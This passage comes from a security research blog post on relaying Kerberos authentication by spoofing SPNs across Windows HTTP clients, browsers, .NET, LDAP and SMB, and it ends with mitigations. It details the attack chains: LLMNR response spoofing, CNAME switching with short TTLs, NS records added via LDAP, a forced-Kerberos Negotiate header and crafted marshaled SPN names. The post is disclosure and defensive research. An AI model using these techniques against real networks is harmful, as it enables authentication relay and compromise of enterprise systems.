[getaddrinfo](<https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-getaddrinfo>) and specifies the AI_CANONNAME hint. Then it uses the returned value of ai_canonname and prefixes it with the HTTP service class. In general ai_canonname is the name provided by the DNS server in the returned A/AAAA record.\n\nFor example, if the HTTP URL is http://fileserver.domain.com, but the DNS A record contains the canonical name example.domain.com the generated SPN is HTTP/example.domain.com and not HTTP/fileserver.domain.com. Therefore to provide an arbitrary SPN you need to get the name in the DNS address record to differ from the IP address in that record so that IE will connect to a server we control while generating Kerberos authentication for a different target name.\n\nThe most obvious technique would be to specify a DNS CNAME record which redirects to another hostname. However, at least if the client is using a Microsoft DNS server (which is likely for a domain environment) then the CNAME record is not directly returned to the client. Instead the DNS server will perform a recursive lookup, and then return the CNAME along with the validated address record to the client. \n\nTherefore, if an attacker sets up a CNAME record for www.evil.com, which redirects to fileserver.domain.com the DNS server will return the CNAME record and an address record for the real IP address of fileserver.domain.com. WinINET will try to connect to the HTTP service on fileserver.domain.com rather than www.evil.com which is what is needed for the attack to function.\n\nI tried various ways of tricking the DNS client into making a direct request to a DNS server I controlled but I couldn't seem to get it to work. However, it turns out there is a way to get the DNS resolver to accept arbitrary DNS responses, via local DNS resolution protocols such as [Multicast DNS (MDNS)](<https://datatracker.ietf.org/doc/html/rfc6762>) and [Link-Local Multicast Name Resolution (LLMNR)](<https://datatracker.ietf.org/doc/html/rfc4795>). \n\nThese two protocols use a lightly modified DNS packet structure, so you can return a response to the name resolution request with an address record with the IP address of the malicious web server, but the canonical name of any server. WinINET will then make the HTTP connection to the malicious web server but construct the SPN for the spoofed canonical name. I've verified this with LLMNR and in theory MDNS should work as well.\n\nIs spoofing the canonical name a bug in the Windows DNS client resolver? I don't believe any DNS protocol requires the query name to exactly match the answer name. If the DNS server has a CNAME record for the queried host then there's no obvious requirement for it to return that record when it could just return the address record. Of course if a public DNS server could spoof a host for a DNS zone which it didn't control, that'd be a [serious security issue](<https://www.cs.cornell.edu/~shmat/shmat_securecomm10.pdf>). It's also worth noting that this doesn't spoof the name generally. As the cached DNS entry on Windows is based on the query name, if the client now resolves fileserver.domain.com a new DNS request will be made and the DNS server would return the real address.\n\nAttacking local name resolution protocols is a well known weakness abused for MitM attacks, so it's likely that some security conscious networks will disable the protocols. However, the advantage of using LLMNR this way over its use for MitM is that the resolved name can be anything. As in, normally you'd want to spoof the DNS name of an existing host, in our example you'd spoof the request for the fileserver name. But for registered computers on the network the DNS client will usually satisfy the name resolution via the network's DNS server before ever trying local DNS resolution. Therefore local DNS resolution would never be triggered and it wouldn't be possible to spoof it. For relaying Kerberos authentication we don't care, you can induce a client to connect to an unregistered host name which will fallback to local DNS resolution.\n\nThe big problem with the local DNS resolution attack vector is that the attacker must be in the same multicast domain as the victim computer. However, the attacker can still start the process by getting a user to connect to an external domain which looks legitimate then redirect to an undotted name to both force automatic authentication and local DNS resolving.\n\n[](<https://blogger.googleusercontent.com/img/a/AVvXsEjm2PtQTZlQobqpEmVuy_72dJbu90cytEZH8jKN3ZwLkCzOMKQa0Rwfk0FVqKaPu5fyDimYp_gWkAxJHjdZU45OIVRD3EiPE_sd1jEmTCTLtPgMz96bHOM6SQrTPx7OJt3A3O65vdC1lRtF3y8pKchdwcst1J7oJCMIFb_PMGOcvy9CFEKz6Y3vbMTZ9g=s877>)\n\nTo summarize the attack process as shown in the above diagram:\n\n 1. The attacker sets up an LLMNR service on a machine in the same multicast domain at the victim computer. The attacker listens for a target name request such as EVILHOST.\n 2. Trick the victim to use IE (or another WinINET client, such as via a document format like DOCX) to connect to the attacker's server on http://EVILHOST.\n 3. The LLMNR server receives the lookup request and responds by setting the address record's hostname to the SPN target host to spoof and the IP address to the attacker-controlled server.\n 4. The WinINET client extracts the spoofed canonical name, appends the HTTP service class to the SPN and requests the Kerberos service ticket. This Kerberos ticket is then sent to the attacker's HTTP service.\n 5. The attacker receives the Negotiate/Kerberos authentication for the spoofed SPN and relays it to the real target server.\n\nAn example LLMNR response decoded by Wireshark for the name evilhost (with IP address 10.0.0.80), spoofing fileserver.domain.com (which is not address 10.0.0.80) is shown below:\n\nLink-local Multicast Name Resolution (response)\n\nTransaction ID: 0x910f\n\nFlags: 0x8000 Standard query response, No error\n\nQuestions: 1\n\nAnswer RRs: 1\n\nAuthority RRs: 0\n\nAdditional RRs: 0\n\nQueries\n\nevilhost: type A, class IN\n\nName: evilhost\n\n[Name Length: 8]\n\n[Label Count: 1]\n\nType: A (Host Address) (1)\n\nClass: IN (0x0001)\n\nAnswers\n\nfileserver.domain.com: type A, class IN, addr 10.0.0.80\n\nName: fileserver.domain.com\n\nType: A (Host Address) (1)\n\nClass: IN (0x0001)\n\nTime to live: 1 (1 second)\n\nData length: 4\n\nAddress: 10.0.0.80 \n \n--- \n \nYou might assume that the SPN always having the HTTP service class would be a problem. However, the Active Directory default SPN mapping will map HTTP to the HOST service class which is always registered. Therefore you can target any domain joined system without needing to register an explicit SPN. As long as the receiving service doesn't then verify the SPN it will work to authenticate to the computer account, which is used by privileged services. You can use the following PowerShell script to list all the configured SPN mappings in a domain.\n\nPS> $base_dn = (Get-ADRootDSE).configurationNamingContext\n\nPS> $dn = \"CN=Directory Service,CN=Windows NT,CN=Services,$base_dn\"\n\nPS> (Get-ADObject $dn -Properties sPNMappings).sPNMappings \n \n--- \n \nOne interesting behavior of WinINET is that it always requests Kerberos delegation, although that will only be useful if the SPN's target account is registered for delegation. I couldn't convince WinINET to default to a Kerberos only mode; sending back a WWW-Authenticate: Kerberos header causes the authentication process to stop. This means the Kerberos AP_REQ will always have Integrity enabled even though the user agent doesn't explicitly request it.\n\nAnother user of WinINET is Office. For example you can set a template located on an HTTP URL which will generate local Windows authentication if in the Intranet zone just by opening a Word document. This is probably a good vector for getting the authentication started rather than relying on Internet Explorer being available.\n\nWinINET does have some [feature controls](<https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms537164\\(v=vs.85\\)>) which can be enabled on a per-executable basis which affect the behavior of the SPN lookup process, specifically FEATURE_USE_CNAME_FOR_SPN_KB911149 and \n\nFEATURE_ALWAYS_USE_DNS_FOR_SPN_KB3022771. However these only seem to come into play if the HTTP connection is being proxied, which we're assuming isn't the case.\n\n### WinHTTP (WebDAV WebClient)\n\nThe [WinHTTP library](<https://docs.microsoft.com/en-us/windows/win32/winhttp/about-winhttp>) is an alternative to using WinINET in a client application. It's a cleaner API and doesn't have the baggage of being used in Internet Explorer. As an example client I chose to use the built-in WebDAV WebClient service because it gives the interesting property that it converts a UNC file name request into a potentially exploitable HTTP request. If the WebClient service is installed and running then opening a file of the form \\\\\\EVIL\\abc will cause an HTTP request to be sent out to a server under the attacker's control.\n\nFrom what I can tell the behavior of WinHTTP when used with the WebClient service is almost exactly the same as for WinINET. I could exploit the SPN generation through local DNS resolution, but not from a public DNS name record. WebDAV seems to consider undotted names to be Intranet zone, however the default for WinHTTP seems to depend on whether the connection would bypass the proxy. The automatic authentication decision is based on the value of the WINHTTP_OPTION_AUTOLOGON_POLICY policy.\n\nAt least as used with WebDAV WinHTTP handles a WWW-Authenticate header of Kerberos, however it ends up using the Negotiate package regardless and so Integrity will always be enabled. It also enables Kerberos delegation automatically like WinINET.\n\n### Chromium M93\n\nChromium based browsers such as Chrome and Edge are open source so it's a bit easier to check the implementation. By default Chromium will automatically authenticate to intranet zone sites, it uses the same Internet Security Manager used by WinINET to make the zone determination in [URLSecurityManagerWin::CanUseDefaultCredentials](<https://source.chromium.org/chromium/chromium/src/+/main:net/http/url_security_manager_win.cc;drc=739ccc21289257112c667e04a40d9a5a2db466bf;l=50>). An administrator can set GPOs to change this behavior to only allow automatic authentication to a set of hosts.\n\nThe SPN is generated in [HttpAuthHandlerNegotiate::CreateSPN](<https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_auth_handler_negotiate.cc;drc=78c0778431c6fdd3dead532b1774270486829251;l=248>) which is called from [HttpAuthHandlerNegotiate::DoResolveCanonicalNameComplete](<https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_auth_handler_negotiate.cc;drc=a412d0ef42cd54ca75e76023a8ccf13d6f58bf06;l=356>). While the documentation for CreateSPN mentions it's basically a copy of the behavior in IE, it technically isn't. Instead of taking the canonical name from the initial DNS request it does a second DNS request, and the result of that is used to generate the SPN. \n\nThis second DNS request is important as it means that we now have a way of exploiting this from a public DNS name. If you set the TTL of the initial host DNS record to a very low value, then it's possible to change the DNS response between the lookup for the host to connect to and the lookup for the canonical name to use for the SPN. \n\nThis will also work with local DNS resolution as well, though in that case the response doesn't need to be switched as one response is sufficient. This second DNS lookup behavior can be disabled with a [GPO](<https://admx.help/?Category=Chrome&Policy=Google.Policies.Chrome::DisableAuthNegotiateCnameLookup>). If this is disabled then neither local DNS resolution nor public DNS will work as Chromium will use the host specified in the URL for the SPN.\n\nIn a domain environment where the Chromium browser is configured to only authenticate to Intranet sites we can abuse the fact that by default authenticated users can add new DNS records to the Microsoft DNS server through LDAP (see [this blog post](<https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/>) by [Kevin Robertson](<https://twitter.com/kevin_robertson>)). Using the domain's DNS server is useful as the DNS record could be looked up using a short Intranet name rather than a public DNS name meaning it's likely to be considered a target for automatic authentication.\n\nOne problem with using LDAP to add the DNS record is the time before the DNS server will refresh its records is at least 180 seconds. This would make it difficult to switch the response from a normal address record to a CNAME record in a short enough time frame to be useful. Instead we can add an NS record to the DNS server which forwards the lookup to our own DNS server. As long as the TTL for the DNS response is short the domain's DNS server will rerequest the record and we can return different responses without any waiting for the DNS server to update from LDAP. This is very similar to [DNS rebinding attack](<https://en.wikipedia.org/wiki/DNS_rebinding>), except instead of swapping the IP address, we're swapping the canonical name.\n\n[](<https://blogger.googleusercontent.com/img/a/AVvXsEh1TOvmY3p9cuk3lJdRZ8WKstDkX6N1_3iBLKo-IKFncIiRuokfjzJE4sXdb3O89inLCz5s6H7lO4_Pq8HVdMwzyJvYIao-IhSKRJm-vHBSlDzBFfe7vJhL05iKhn_1Jy9mft4nSrNY7eggb2KsfjO2JXEtSlqfV44Pd8cDODKHEK087TBDryW82cGTHA=s898>)\n\nTherefore a working exploit as shown in the diagram would be the following:\n\n 1. Register an NS record with the DNS server for evilhost.domain.com using existing authenticated credentials via LDAP. Wait for the DNS server to pick up the record.\n 2. Direct the browser to connect to http://evilhost. This allows Chromium to automatically authenticate as it's an undotted Intranet host. The browser will lookup evilhost.domain.com by adding its primary DNS suffix. \n 3. This request goes to the client's DNS server, which then follows the NS record and performs a recursive query to the attacker's DNS server. \n 4. The attacker's DNS server returns a normal address record for their HTTP server with a very short TTL.\n 5. The browser makes a request to the HTTP server, at this point the attacker delays the response long enough for the cached DNS request to expire. It can then return a 401 to get the browser to authenticate.\n 6. The browser makes a second DNS lookup for the canonical name. As the original request has expired, another will be made for evilhost.domain.com. For this lookup the attacker returns a CNAME record for the fileserver.domain.com target. The client's DNS server will look up the IP address for the CNAME host and return that.\n 7. The browser will generate the SPN based on the CNAME record and that'll be used to generate the AP_REQ, sending it to the attacker's HTTP server.\n 8. The attacker can relay the AP_REQ to the target server.\n\nIt's possible that we can combine the local and public DNS attack mechanisms to only need one DNS request. In this case we could set up an NS record to our own DNS server and get the client to resolve the hostname. The client's DNS server would do a recursive query, and at this point our DNS server shouldn't respond immediately. We could then start a classic DNS spoofing attack to return a DNS response packet directly to the client with the spoofed address record.\n\nIn general DNS spoofing is limited by requiring the source IP address, transaction ID and the UDP source port to match before the DNS client will accept the response packet. The source IP address should be spoofable on a local network and the client's IP address can be known ahead of time through an initial HTTP connection, so the only problems are the transaction ID and port.\n\nAs most clients have a relatively long timeout of 3-5 seconds, that might be enough time to try the majority of the combinations for the ID and port. Of course there isn't really a penalty for trying multiple times. If this attack was practical then you could do the attack on a local network even if local DNS resolution was disabled and enable the attack for libraries which only do a single lookup such as WinINET and WinHTTP. The response could have a long TTL, so that when the access is successful it doesn't need to be repeated for every request.\n\nI couldn't get Chromium to downgrade Negotiate to Kerberos only so Integrity will be enabled. Also since Delegation is not enabled by default, an administrator needs to configure an [allow list GPO](<https://admx.help/?Category=Chrome&Policy=Google.Policies.Chrome::AuthNegotiateDelegateWhitelist>) to specify what targets are allowed to receive delegated credentials.\n\nA bonus quirk for Chromium: It seems to be the only browser which still supports URL based user credentials. If you pass user credentials in the request and get the server to return a request for Negotiate authentication then it'll authenticate automatically regardless of the zone of the site. You can also pass credentials using XMLHttpRequest::open.\n\nWhile not very practical, this can be used to test a user's password from an arbitrary host. If the username/password is correct and the SPN is spoofed then Chromium will send a validated Kerberos AP_REQ, otherwise either NTLM or no authentication will be sent. \n\nNTLM can be always generated as it doesn't require any proof the password is valid, whereas Kerberos requires the password to be correct to allow the authentication to succeed. You need to specify the domain name when authenticating so you use a URL of the form http://DOMAIN%5CUSER:PASSWORD@host.com.\n\nOne other quirk of this is you can specify a fully qualified domain name (FQDN) and user name and the Windows Kerberos implementation will try and authenticate using that server based on the DNS SRV records. For example http://EVIL.COM%5CUSER:PASSWORD@host.com will try to authenticate to the Kerberos service specified through the _kerberos._tcp.evil.com SRV record. This trick works even on non-domain joined systems to generate Kerberos authentication, however it's not clear if this trick has any practical use.\n\nIt's worth noting that I did discuss the implications of the Chromium HTTP vector with team members internally and the general conclusion that this behavior is by design as it's trying to copy the behavior expected of existing user agents such as IE. Therefore there was no expectation it would be fixed.\n\n### Firefox 91\n\nAs with Chromium, Firefox is open source so we can find the [implementation](<https://searchfox.org/mozilla-central/source/extensions/auth/nsHttpNegotiateAuth.cpp#170>). Unlike the other HTTP implementations researched up to this point, Firefox doesn't perform Windows authentication by default. An administrator needs to configure either a list of hosts that are allowed to automatically authenticate, or the network.negotiate-auth.allow-non-fqdn setting can be enabled to authenticate to non-dotted host names.\n\nIf authentication is enabled it works with both local DNS resolving and public DNS as it does a second DNS lookup when constructing the SPN for Negotiate in [nsAuthSSPI::MakeSN](<https://searchfox.org/mozilla-central/source/extensions/auth/nsAuthSSPI.cpp#93>). Unlike Chromium there doesn't seem to be a setting to disable this behavior.\n\nOnce again I couldn't get Firefox to use raw Kerberos, so Integrity is enabled. Also Delegation is not enabled unless an administrator configures the network.negotiate-auth.delegation-uris setting.\n\n### .NET Framework 4.8\n\nThe .NET Framework 4.8 officially has two HTTP libraries, the original [System.Net.HttpWebRequest](<https://docs.microsoft.com/en-us/dotnet/api/system.net.webrequest>) and derived APIs and the newer [System.Net.Http.HttpClient](<https://docs.microsoft.com/en-us/dotnet/api/system.net.http.httpclient>) API. However in the .NET framework the newer API uses the older one under the hood, so we'll only consider the older of the two.\n\nWindows authentication is only generated automatically if the [UseDefaultCredentials](<https://docs.microsoft.com/en-us/dotnet/api/system.net.httpwebrequest.usedefaultcredentials>) property is set to true on the HttpWebRequest object as shown below (technically this sets the [CredentialCache.DefaultCredentials](<https://docs.microsoft.com/en-us/dotnet/api/system.net.credentialcache.defaultcredentials>) object, but it's easier to use the boolean property). Once the default credentials are set the client will automatically authenticate using Windows authentication to any host, it doesn't seem to care if that host is in the Intranet zone.\n\nvar request = WebRequest.CreateHttp(\"http://www.evil.com\");\n\nrequest.UseDefaultCredentials = true;\n\nvar response = (HttpWebResponse)request.GetResponse(); \n \n--- \n \nThe SPN is generated in the [System.Net.AuthenticationState.GetComputeSpn](<https://referencesource.microsoft.com/#System/net/System/Net/_AuthenticationState.cs,114>) function which we can find in the .NET reference source. The SPN is built from the canonical name returned by the initial DNS lookup, which means it supports the local but not public DNS resolution. If you follow the code it does support doing a second DNS lookup if the host is undotted, however this is only if the client code sets an explicit Host header as far as I can tell. Note that the code here is slightly different in .NET 2.0 which might support looking up the canonical name as long as the host name is undotted, but I've not verified that.\n\nThe .NET Framework supports specifying Kerberos directly as the authentication type in the WWW-Authentication header. As the client code doesn't explicitly request integrity, this allows the Kerberos AP_REQ to not have Integrity enabled. \n\nThe code also supports the WWW-Authentication header having an initial token, so even if Kerberos wasn't directly supported, you could use Negotiate and specify the stub token I described at the start to force Kerberos authentication. For example returning the following header with the initial 401 status response will force Kerberos through auto-detection:\n\nWWW-Authenticate: Negotiate AAFA \n \n--- \n \nFinally, the authentication code always enables delegation regardless of the target host.\n\n### .NET 5.0\n\nThe .NET 5.0 runtime has deprecated the HttpWebRequest API in favor of the HttpClient API. It uses a new backend class called the [SocketsHttpHandler](<https://docs.microsoft.com/en-us/dotnet/api/system.net.http.socketshttphandler>). As it's all open source we can find the [implementation](<https://github.com/dotnet/runtime/blob/791a0d896052f61161aff4c1ccb5f3425328f9a8/src/libraries/System.Net.Http/src/System/Net/Http/SocketsHttpHandler/AuthenticationHelper.NtAuth.cs>), specifically the AuthenticationHelper class which is a complete rewrite from the .NET Framework version.\n\nTo automatically authenticate, the client code must either use the HttpClientHandler class and set the UseDefaultCredentials property as shown below. Or if using SocketsHttpHandler, set the Credentials property to the default credentials. This handler must then be specified when creating the HttpClient object.\n\nvar handler = new HttpClientHandler();\n\nhandler.UseDefaultCredentials = true;\n\nvar client = new HttpClient(handler);\n\nawait client.GetStringAsync(\"http://www.evil.com\"); \n \n--- \n \nUnless the client specified an explicit Host header in the request the authentication will do a DNS lookup for the canonical name. This is separate from the DNS lookup for the HTTP connection so it supports both local and public DNS attacks.\n\nWhile the implementation doesn't support Kerberos directly like the .NET Framework, it does support passing an initial token so it's still possible to force raw Kerberos which will disable the Integrity requirement.\n\n### .NET 6.0\n\nThe .NET 6.0 runtime is basically the same as .NET 5.0, except that Integrity is specified explicitly when creating the client authentication context. This means that rolling back to Kerberos no longer has any advantage. [This change](<https://github.com/dotnet/runtime/commit/17481fef502ee6aed6f9e8fc76e45bb5863c68b5>) seems to be down to a broken implementation of NTLM on macOS and not as some anti-NTLM relay measure.\n\n### HTTP Overview\n\nThe following table summarizes the results of the HTTP protocol research:\n\n * The LLMNR column indicates it's possible to influence the SPN using a local DNS resolver attack \n * DNS CNAME indicates a public DNS resolving attack \n * Delegation indicates the HTTP user agent enables Kerberos delegation \n * Integrity indicates that integrity protection is requested which reduces the usefulness of the relayed authentication if the target server automatically detects the setting.\n\nUser Agent\n\n| \n\nLLMNR\n\n| \n\nDNS CNAME\n\n| \n\nDelegation\n\n| \n\nIntegrity \n \n---|---|---|---|--- \n \nInternet Explorer 11 (WinINET)\n\n| \n\nYes\n\n| \n\nNo\n\n| \n\nYes\n\n| \n\nYes \n \nWebDAV (WinHTTP)\n\n| \n\nYes\n\n| \n\nNo\n\n| \n\nYes\n\n| \n\nYes \n \nChromium (M93)\n\n| \n\nYes\n\n| \n\nYes\n\n| \n\nNo\u2020\n\n| \n\nYes \n \nFirefox 91\n\n| \n\nYes\n\n| \n\nYes\n\n| \n\nNo\u2020\n\n| \n\nYes \n \n.NET Framework 4.8\n\n| \n\nYes\n\n| \n\nNo\u2021\n\n| \n\nYes\n\n| \n\nNo \n \n.NET 5.0\n\n| \n\nYes\n\n| \n\nYes\n\n| \n\nNo\n\n| \n\nNo \n \n.NET 6.0\n\n| \n\nYes\n\n| \n\nYes\n\n| \n\nNo\n\n| \n\nYes \n \n\u2020 Chromium and Firefox can enable delegation only on a per-site basis through a GPO.\n\n\u2021 .NET Framework supports DNS resolving in special circumstances for non-dotted hostnames.\n\nBy far the most permissive client is .NET 5.0. It supports authenticating to any host as long as it has been configured to authenticate automatically. It also supports arbitrary SPN spoofing from a public DNS name as well as disabling integrity through Kerberos fallback. However, as .NET 5.0 is designed to be something usable cross platform, it's possible that few libraries written with it in mind will ever enable automatic authentication.\n\n## LDAP\n\nWindows has a built-in general purpose LDAP library in [wldap32.dll](<https://docs.microsoft.com/en-us/windows/win32/api/_ldap/>). This is used by the majority of OS components when accessing Active Directory and is also used by the .NET [LdapConnection](<https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.protocols.ldapconnection>) class. There doesn't seem to be a way of specifying the SPN manually for the LDAP connection using the API. Instead it's built manually based on the canonical name based on the DNS lookup. Therefore it's exploitable in a similar manner to WinINET via local DNS resolution.\n\nThe name of the LDAP server can also be found by querying for a SRV record for the hostname. This is used to support accessing the LDAP server from the top-level Windows domain name. This will usually return an address record alongside, all this does is change the server resolution process which doesn't seem to give any advantages to exploitation.\n\nWhether the LDAP client enables integrity checking is based on the value of the LDAP_OPT_SIGN flag. As the connection only supports Negotiate authentication the client passes the ISC_REQ_NO_INTEGRITY flag if signing is disabled so that the server won't accidentally auto-detect the signing capability enabled for the Negotiate MIC and accidentally enable signing protection.\n\nAs part of [recent changes](<https://support.microsoft.com/en-us/topic/2020-ldap-channel-binding-and-ldap-signing-requirements-for-windows-ef185fb8-00f7-167d-744c-f299a66fc00a>) to LDAP signing the client is forced to enable Integrity by the [LdapClientIntegrity policy](<https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-ldap-client-signing-requirements>). This means that regardless of whether the LDAP server needs integrity protection it'll be enabled on the client which in turn will automatically enable it on the server. Changing the value of LDAP_OPT_SIGN in the client has no effect once this policy is enabled.\n\n## SMB\n\nSMB is one of the most commonly exploited protocols for NTLM relay, as it's easy to convert access to a file into authentication. It would be convenient if it was also exploitable for Kerberos relay. While SMBv1 is deprecated and not even installed on newer installs of Windows, it's still worth looking at the implementation of v1 and v2 to determine if either are exploitable.\n\nThe client implementations of SMB 1 and 2 are in mrxsmb10.sys and mrxsmb20.sys respectively with some common code in mrxsmb.sys. Both protocols support specifying a name for the SPN which is related to DFS. The SPN name needs to be specified through the GUID_ECP_DOMAIN_SERVICE_NAME_CONTEXT ECP and is only enabled if the NETWORK_OPEN_ECP_OUT_FLAG_RET_MUTUAL_AUTH flag in the GUID_ECP_NETWORK_OPEN_CONTEXT ECP (set by MUP) is specified. This is related to UNC hardening which was added to protect things like group policies.\n\nIt's easy enough to trigger the conditions to set the NETWORK_OPEN_ECP_OUT_FLAG_RET_MUTUAL_AUTH flag. The default UNC hardening rules always add SYSVOL and NETLOGON UNC paths with a wildcard hostname. Therefore a request to \\\\\\evil.com\\SYSVOL will cause the flag to be set and the SPN potentially overridable. The server should be a DFS server for this to work, however even with the flag set I've not found a way of setting an arbitrary SPN value remotely.\n\nEven if you could spoof the SPN, the SMB clients always enable Integrity protection. Like LDAP, SMB will enable signing and encryption opportunistically if available from the client, unless UNC hardening measures are in place.\n\n## Marshaled Target Information SPN\n\nWhile investigating the SMB implementation I noticed something interesting. The SMB clients use the function [SecMakeSPNEx2](<https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-secmakespnex2>) to build the SPN value from the service class and name. You might assume this would just return the SPN as-is, however that's not the case. Instead for the hostname of fileserver with the service class cifs you get back an SPN which looks like the following:\n\ncifs/fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA \n \n--- \n \nLooking at the implementation of SecMakeSPNEx2 it makes a call to the API function [CredMarshalTargetInfo](<https://docs.microsoft.com/en-us/windows/win32/api/ntsecpkg/nf-ntsecpkg-credmarshaltargetinfo>). This API takes a list of target information in a [CREDENTIAL_TARGET_INFORMATION](<https://docs.microsoft.com/en-us/windows/win32/api/wincred/ns-wincred-credential_target_informationw>) structure and marshals it using a base64 string encoding. This marshaled string is then appended to the end of the real SPN.\n\nThe code is therefore just appending some additional target information to the end of the SPN, presumably so it's easier to pass around. My initial assumption would be this information is stripped off before passing to the SSPI APIs by the SMB client. However, passing this SPN value to InitializeSecurityContext as the target name succeeds and gets a Kerberos service ticket for cifs/fileserver. How does that work?\n\nInside the function SspiExProcessSecurityContext in lsasrv.dll, which is the main entrypoint of InitializeSecurityContext, there's a call to the CredUnmarshalTargetInfo API, which parses the marshaled target information. However SspiExProcessSecurityContext doesn't care about the unmarshalled results, instead it just gets the length of the marshaled data and removes that from the end of the target SPN string. Therefore before the Kerberos package gets the target name it has already been restored to the original SPN.\n\nThe encoded SPN shown earlier, minus the service class, is a valid DNS component name and therefore could be used as the hostname in a public or local DNS resolution request. This is interesting as this potentially gives a way of spoofing a hostname which is distinct from the real target service, but when processed by the SSPI API requests the spoofed service ticket. As in if you use the string fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA as the DNS name, and if the client appends a service class to the name and passes it to SSPI it will get a service ticket for fileserver, however the DNS resolving can trivially return an unrelated IP address.\n\nThere are some big limitations to abusing this behavior. The marshaled target information must be valid, the last 6 characters is an encoded length of the entire marshaled buffer and the buffer is prefixed with a 28 byte header with a magic value of 0x91856535 in the first 4 bytes. If this length is invalid (e.g. larger than the buffer or not a multiple of 2) or the magic isn't present then the CredUnmarshalTargetInfo call fails and SspiExProcessSecurityContext leaves the SPN as is which will subsequently fail to query a Kerberos ticket for the SPN.\n\nThe easiest way that the name could be invalid is by it being converted to lowercase. DNS is case insensitive, however generally the servers are case preserving. Therefore you could lookup the case sensitive name and the DNS server would return that unmodified. However the HTTP clients tested all seem to lowercase the hostname before use, therefore by the time it's used to build an SPN it's now a different string. When unmarshalling 'a' and 'A' represent different binary values and so parsing of the marshaled information will fail.\n\nAnother issue is that the size limit of a single name in DNS is 63 characters. The minimum valid marshaled buffer is 44 characters long leaving only 19 characters for the SPN part. This is at least larger than the minimum NetBIOS name limit of 15 characters so as long as there's an SPN for that shorter name registered it should be sufficient. However if there's no short SPN name registered then it's going to be more difficult to exploit.\n\nIn theory you could specify the SPN using its FQDN. However it's hard to construct such a name. The length value must be at the end of the string and needs to be a valid marshaled value so you can't have any dots within its 6 characters. It's possible to have a TLD which is 6 characters or longer and as the embedded marshaled values are not escaped this can be used to construct a valid FQDN which would then resolve to another SPN target. For example:\n\nfileserver1UWhRCAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAA.domain.oBAAAA \n \n--- \n \nis a valid DNS name which would resolve to an SPN for fileserver. Except that oBAAAA is not a valid public TLD. Pulling the list of [valid TLDs](<https://data.iana.org/TLD/tlds-alpha-by-domain.txt>) from ICANN's website and converting all values which are 6 characters or longer into the expected length value, the smallest length which is a multiple of 2 is from WEBCAM which results in a DNS name at least 264331 characters long, which is somewhat above the 255 character limit usually considered valid for a FQDN in DNS.\n\nTherefore this would still be limited to more local attacks and only for limited sets of protocols. For example an authenticated user could register a DNS entry for the local domain using this value and trick an RPC client to connect to it using its undotted hostname. As long as the client doesn't modify the name other than putting the service class on it (or it gets automatically generated by the RPC runtime) then this spoofs the SPN for the request.\n\n## Microsoft's Response to the Research\n\nI didn't initially start looking at Kerberos authentication relay, as mentioned I found it inadvertently when looking at IPsec and AuthIP which I subsequently reported to Microsoft. After doing more research into other network protocols I decided to use the AuthIP issue as a bellwether on Microsoft's views on whether relaying Kerberos authentication and spoofing SPNs would cross a security boundary.\n\nAs I mentioned earlier the AuthIP issue was classed as \"vNext\", which denotes it might be fixed in a future version of Windows, but not as a security update for any currently shipping version of Windows. This was because Microsoft determined it to be a Moderate severity issue (see [this](<https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE2A3xt>) for the explanation of the severities). Only Important or above will be serviced.\n\nIt seems that the general rule is that any network protocol where the SPN can be spoofed to generate Kerberos authentication which can be relayed, is not sufficient to meet the severity level for a fix. However, any network facing service which can be used to induce authentication where the attacker does not have existing network authentication credentials is considered an Important severity spoofing issue and will be fixed. This is why PetitPotam was fixed as [CVE-2021-36942](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36942>), as it could be exploited from an unauthenticated user.\n\nAs my research focused entirely on the network protocols themselves and not the ways of inducing authentication, they will all be covered under the same Moderate severity. This means that if they were to be fixed at all, it'd be in unspecified future versions of Windows.\n\n## Available Mitigations\n\nHow can you defend yourself against authentication relay attacks presented in this blog post? While I think I've made the case that it's possible to relay Kerberos authentication, it's somewhat more limited in scope than NTLM relay. This means that disabling NTLM is still an invaluable option for mitigating authentication relay issues on a Windows enterprise network. \n\nAlso, except for disabling NTLM, all the mitigations for NTLM relay apply to Kerberos relay. Requiring signing or sealing on the protocol if possible is sufficient to prevent the majority of attack vectors, especially on important network services such as LDAP.\n\nFor TLS encapsulated protocols, channel binding prevents the authentication being relayed as I didn't find any way of spoofing the TLS certificate at the same time. If the network service supports EPA, such as HTTPS or LDAPS it should be enabled. Even if the protocol doesn't support EPA, enabling TLS protection if possible is still valuable. This not only provides more robust server authentication, which Kerberos mutual authentication doesn't really provide, it'll also hide Kerberos authentication tokens from sniffing or MitM attacks.\n\nSome libraries, such as WinHTTP and .NET set the undocumented ISC_REQ_UNVERIFIED_TARGET_NAME request attribute when calling InitializeSecurityContext in certain circumstances. This affects the behavior of the server when querying for the SPN used during authentication. Some servers such as SMB and IIS with EPA can be configured to validate the SPN. If this request attribute flag is set then while the authentication will succeed when the server goes to check the SPN, it gets an empty string which will not match the server's expectations. If you're a developer you should use this flag if the SPN has been provided from an untrustworthy source, although this will only be beneficial if the server is checking the received SPN.\n\nA common thread through the research is abusing local DNS resolution to spoof the SPN. Disabling LLMNR and MDNS should always be best practice, and this just highlights the dangers of leaving them enabled. While it might be possible to perform the same attacks through DNS spoofing attacks, these are likely to be much less reliable than local DNS spoofing attacks.\n\nIf Windows authentication isn't needed from a network client, it'd be wise to disable it if supported. For example, some HTTP user agents support disabling automatic Windows authentication entirely, while others such as Firefox don't enable it by default. Chromium also supports disabling the DNS lookup process for generating the SPN through group policy.\n\nFinally, blocking untrusted devices on the network such as through 802.1X or requiring authenticated IPsec/IKEv2 for all network communications to high value services would go some way to limiting the impact of all authentication relay attacks. Although of course, an attacker could still compromise a trusted host and use that to mount the attack.\n\n## Conclusions\n\nI hope that this blog post has demonstrated that Kerberos relay attacks are feasible and just disabling NTLM is not a sufficient mitigation strategy in an enterprise environment. While DNS is a common thread and is the root cause of the majority of these protocol issues, it's still possible to spoof SPNs using 